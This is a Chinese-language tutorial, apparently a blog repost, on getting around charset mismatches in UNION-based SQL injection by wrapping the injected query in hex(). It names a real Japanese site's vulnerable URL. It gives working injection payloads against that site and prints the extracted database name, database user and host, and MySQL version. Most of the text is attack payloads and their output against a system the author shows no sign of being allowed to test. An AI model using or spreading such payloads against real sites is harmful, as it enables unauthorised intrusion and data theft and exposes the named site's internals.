作者:YoCo Smart 来自:习科信息技术 Silic Group http://blackbap.org 注入的时候往往能碰到这样一种情况:有显示位,但是无法显示内容,甚至连database()都无法显示。今天找到一个绝好的例子来讲这样的一种情况。 注入点:http://www.tkfd.or.jp/research/theme/index.php?id=1 导致这种情况出现的原因是当union联合起两个字段的时候,字段之间的编码不同,导致执行失败而无法显示。解决这种问题的方法很简单,就是用hex()来解决。 根据猜解,这个注入点的字段数为7,这样的话,我们就构造注入语句如下: http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7/* 虽然有7个字段,但是并不是7个字段都有显示,只有6号位置能显示内容。如图: 首先测试一下,看一下数据库名称: http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,database(),7/* 但是系统显示执行失败了: 既然显示位能显示6但是却不能显示database()那说明问题八成是出在字段编码格式上面。 很简单的解决方法,使用hex()将原本要查询的内容括起来再执行就可以了,然后将得到的东西格式手动转换一下格式。 这样最后的查询语句就是: http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),7/* 得到的回显如下: 73716C5F64625F66752E6D79382E73756974652E6A70406463362E65746975732E6A705F342E312E31322D6C6F67 格式转换一下就是: ql_db__fu.my8.suite.jp@dc6.etius.jp__4.1.12-log 注*前面查询语句里的0x5f就是最终回显里的两个下划线“__” 很容易就得到如下信息, 当前数据库名称为:ql_db 当前数据库用户:fu.my8.suite.jp@dc6.etius.jp 数据库版本:4.1.12-log |
[实例] 简单搞定联合查询注入字段间编码不同无法显示内容问题
最新推荐文章于 2022-07-14 09:55:39 发布